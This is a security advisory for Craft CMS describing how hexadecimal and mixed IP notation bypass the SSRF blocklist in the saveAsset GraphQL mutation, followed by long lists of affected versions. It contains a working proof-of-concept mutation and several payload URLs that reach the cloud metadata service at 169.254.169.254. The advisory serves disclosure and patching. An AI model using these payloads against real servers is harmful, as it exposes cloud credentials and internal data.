GHSA-m5r2-8p9x-hp5mmedium6.9

Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation

The advisory, in context

I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.

Summary

The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.

Proof of Concept

Send the following GraphQL mutation:

mutation {
    save_images_Asset(_file: { 
        url: "http://169.254.0xa9fe/latest/meta-data/"
        filename: "metadata.txt"
    }) {
        id
    }
}

The IP validation passes (hex notation not recognized as IP)
Guzzle resolves 169.254.0xa9fe to 169.254.169.254
Cloud metadata is fetched and saved

Alternative Payloads

Payload	Notation	Resolves To
`http://169.254.0xa9fe/`	Mixed (decimal + hex)	169.254.169.254
`http://0xa9.0xfe.0xa9.0xfe/`	Full hex dotted	169.254.169.254
`http://0xa9fea9fe/`	Single hex integer	169.254.169.254

Technical Details

File: src/gql/resolvers/mutations/Asset.php Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.

// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

craftcms/cms Packagist

Ecosystem versions

From 5.0.0-RC1 before 5.8.22

Fixed in 5.8.22

143 explicitly affected versions

5.0.0, 5.0.0-RC1, 5.0.1, 5.0.2, 5.0.3, 5.0.4, 5.0.5, 5.0.6, 5.1.0, 5.1.1, 5.1.10, 5.1.2, 5.1.3, 5.1.4, 5.1.5, 5.1.6, 5.1.7, 5.1.8, 5.1.9, 5.2.0, 5.2.0-beta.1, 5.2.0-beta.2, 5.2.0-beta.3, 5.2.0-beta.4, 5.2.0-beta.5, 5.2.0-beta.6, 5.2.1, 5.2.10, 5.2.2, 5.2.3, 5.2.4, 5.2.4.1, 5.2.5, 5.2.6, 5.2.7, 5.2.8, 5.2.9, 5.3.0, 5.3.0-beta.1, 5.3.0-beta.2, 5.3.0.1, 5.3.0.2, 5.3.0.3, 5.3.1, 5.3.2, 5.3.3, 5.3.4, 5.3.5, 5.3.6, 5.4.0, 5.4.0.1, 5.4.1, 5.4.10, 5.4.10.1, 5.4.2, 5.4.3, 5.4.4, 5.4.5, 5.4.5.1, 5.4.6, 5.4.7, 5.4.7.1, 5.4.8, 5.4.9, 5.5.0, 5.5.0.1, 5.5.1, 5.5.1.1, 5.5.10, 5.5.2, 5.5.3, 5.5.4, 5.5.5, 5.5.6, 5.5.6.1, 5.5.7, 5.5.8, 5.5.9, 5.6.0, 5.6.0.1, 5.6.0.2, 5.6.1, 5.6.10, 5.6.10.1, 5.6.10.2, 5.6.11, 5.6.12, 5.6.13, 5.6.14, 5.6.15, 5.6.16, 5.6.17, 5.6.2, 5.6.3, 5.6.4, 5.6.5, 5.6.5.1, 5.6.6, 5.6.7, 5.6.8, 5.6.9, 5.6.9.1, 5.7.0, 5.7.0-beta.1, 5.7.0-beta.2, 5.7.1, 5.7.1.1, 5.7.10, 5.7.11, 5.7.2, 5.7.3, 5.7.4, 5.7.5, 5.7.6, 5.7.7, 5.7.8, 5.7.8.1, 5.7.8.2, 5.7.9, 5.8.0, 5.8.1, 5.8.10, 5.8.11, 5.8.12, 5.8.13, 5.8.13.1, 5.8.13.2, 5.8.14, 5.8.15, 5.8.16, 5.8.17, 5.8.18, 5.8.19, 5.8.2, 5.8.20, 5.8.21, 5.8.3, 5.8.4, 5.8.5, 5.8.6, 5.8.7, 5.8.8, 5.8.9

View affected-version evidence

{
  "ranges": [
    {
      "events": [
        {
          "introduced": "5.0.0-RC1"
        },
        {
          "fixed": "5.8.22"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "5.0.0",
    "5.0.0-RC1",
    "5.0.1",
    "5.0.2",
    "5.0.3",
    "5.0.4",
    "5.0.5",
    "5.0.6",
    "5.1.0",
    "5.1.1",
    "5.1.10",
    "5.1.2",
    "5.1.3",
    "5.1.4",
    "5.1.5",
    "5.1.6",
    "5.1.7",
    "5.1.8",
    "5.1.9",
    "5.2.0",
    "5.2.0-beta.1",
    "5.2.0-beta.2",
    "5.2.0-beta.3",
    "5.2.0-beta.4",
    "5.2.0-beta.5",
    "5.2.0-beta.6",
    "5.2.1",
    "5.2.10",
    "5.2.2",
    "5.2.3",
    "5.2.4",
    "5.2.4.1",
    "5.2.5",
    "5.2.6",
    "5.2.7",
    "5.2.8",
    "5.2.9",
    "5.3.0",
    "5.3.0-beta.1",
    "5.3.0-beta.2",
    "5.3.0.1",
    "5.3.0.2",
    "5.3.0.3",
    "5.3.1",
    "5.3.2",
    "5.3.3",
    "5.3.4",
    "5.3.5",
    "5.3.6",
    "5.4.0",
    "5.4.0.1",
    "5.4.1",
    "5.4.10",
    "5.4.10.1",
    "5.4.2",
    "5.4.3",
    "5.4.4",
    "5.4.5",
    "5.4.5.1",
    "5.4.6",
    "5.4.7",
    "5.4.7.1",
    "5.4.8",
    "5.4.9",
    "5.5.0",
    "5.5.0.1",
    "5.5.1",
    "5.5.1.1",
    "5.5.10",
    "5.5.2",
    "5.5.3",
    "5.5.4",
    "5.5.5",
    "5.5.6",
    "5.5.6.1",
    "5.5.7",
    "5.5.8",
    "5.5.9",
    "5.6.0",
    "5.6.0.1",
    "5.6.0.2",
    "5.6.1",
    "5.6.10",
    "5.6.10.1",
    "5.6.10.2",
    "5.6.11",
    "5.6.12",
    "5.6.13",
    "5.6.14",
    "5.6.15",
    "5.6.16",
    "5.6.17",
    "5.6.2",
    "5.6.3",
    "5.6.4",
    "5.6.5",
    "5.6.5.1",
    "5.6.6",
    "5.6.7",
    "5.6.8",
    "5.6.9",
    "5.6.9.1",
    "5.7.0",
    "5.7.0-beta.1",
    "5.7.0-beta.2",
    "5.7.1",
    "5.7.1.1",
    "5.7.10",
    "5.7.11",
    "5.7.2",
    "5.7.3",
    "5.7.4",
    "5.7.5",
    "5.7.6",
    "5.7.7",
    "5.7.8",
    "5.7.8.1",
    "5.7.8.2",
    "5.7.9",
    "5.8.0",
    "5.8.1",
    "5.8.10",
    "5.8.11",
    "5.8.12",
    "5.8.13",
    "5.8.13.1",
    "5.8.13.2",
    "5.8.14",
    "5.8.15",
    "5.8.16",
    "5.8.17",
    "5.8.18",
    "5.8.19",
    "5.8.2",
    "5.8.20",
    "5.8.21",
    "5.8.3",
    "5.8.4",
    "5.8.5",
    "5.8.6",
    "5.8.7",
    "5.8.8",
    "5.8.9"
  ]
}

craftcms/cms Packagist

Ecosystem versions

From 4.0.0-RC1 before 4.16.18

Fixed in 4.16.18

227 explicitly affected versions

4.0.0, 4.0.0-RC1, 4.0.0-RC2, 4.0.0-RC3, 4.0.0.1, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.5.1, 4.0.5.2, 4.0.6, 4.1.0, 4.1.0.1, 4.1.0.2, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.4.1, 4.10.0, 4.10.0-beta.1, 4.10.0-beta.2, 4.10.1, 4.10.2, 4.10.3, 4.10.4, 4.10.5, 4.10.6, 4.10.7, 4.10.8, 4.11.0, 4.11.0.1, 4.11.0.2, 4.11.1, 4.11.2, 4.11.3, 4.11.4, 4.11.5, 4.12.0, 4.12.1, 4.12.2, 4.12.3, 4.12.4, 4.12.4.1, 4.12.5, 4.12.6, 4.12.6.1, 4.12.7, 4.12.8, 4.12.9, 4.13.0, 4.13.1, 4.13.1.1, 4.13.10, 4.13.2, 4.13.3, 4.13.4, 4.13.5, 4.13.6, 4.13.7, 4.13.8, 4.13.9, 4.14.0, 4.14.0.1, 4.14.0.2, 4.14.1, 4.14.10, 4.14.11, 4.14.11.1, 4.14.12, 4.14.13, 4.14.14, 4.14.15, 4.14.2, 4.14.3, 4.14.4, 4.14.5, 4.14.6, 4.14.7, 4.14.8, 4.14.8.1, 4.14.9, 4.15.0, 4.15.0-beta.1, 4.15.0-beta.2, 4.15.0.1, 4.15.0.2, 4.15.1, 4.15.2, 4.15.3, 4.15.4, 4.15.5, 4.15.6, 4.15.6.1, 4.15.6.2, 4.15.7, 4.16.0, 4.16.1, 4.16.10, 4.16.11, 4.16.12, 4.16.13, 4.16.14, 4.16.15, 4.16.16, 4.16.17, 4.16.2, 4.16.3, 4.16.4, 4.16.5, 4.16.6, 4.16.6.1, 4.16.7, 4.16.8, 4.16.9, 4.16.9.1, 4.2.0, 4.2.0.1, 4.2.0.2, 4.2.1, 4.2.1.1, 4.2.2, 4.2.3, 4.2.4, 4.2.5, 4.2.5.1, 4.2.5.2, 4.2.6, 4.2.7, 4.2.8, 4.3.0, 4.3.1, 4.3.10, 4.3.11, 4.3.2, 4.3.2.1, 4.3.3, 4.3.4, 4.3.5, 4.3.6, 4.3.6.1, 4.3.7, 4.3.7.1, 4.3.8, 4.3.8.1, 4.3.8.2, 4.3.9, 4.4.0, 4.4.0-beta.1, 4.4.0-beta.2, 4.4.0-beta.3, 4.4.0-beta.4, 4.4.0-beta.5, 4.4.0-beta.6, 4.4.0-beta.7, 4.4.1, 4.4.10, 4.4.10.1, 4.4.11, 4.4.12, 4.4.13, 4.4.14, 4.4.15, 4.4.16, 4.4.16.1, 4.4.17, 4.4.2, 4.4.3, 4.4.4, 4.4.5, 4.4.6, 4.4.6.1, 4.4.7, 4.4.7.1, 4.4.8, 4.4.9, 4.5.0, 4.5.0-beta.1, 4.5.0-beta.2, 4.5.1, 4.5.10, 4.5.11, 4.5.11.1, 4.5.12, 4.5.13, 4.5.14, 4.5.15, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.5.6.1, 4.5.7, 4.5.8, 4.5.9, 4.6.0, 4.6.0-RC1, 4.6.1, 4.7.0, 4.7.1, 4.7.2, 4.7.2.1, 4.7.3, 4.7.4, 4.8.0, 4.8.1, 4.8.10, 4.8.11, 4.8.2, 4.8.3, 4.8.4, 4.8.5, 4.8.6, 4.8.7, 4.8.8, 4.8.9, 4.9.0, 4.9.1, 4.9.2, 4.9.3, 4.9.4, 4.9.5, 4.9.6, 4.9.7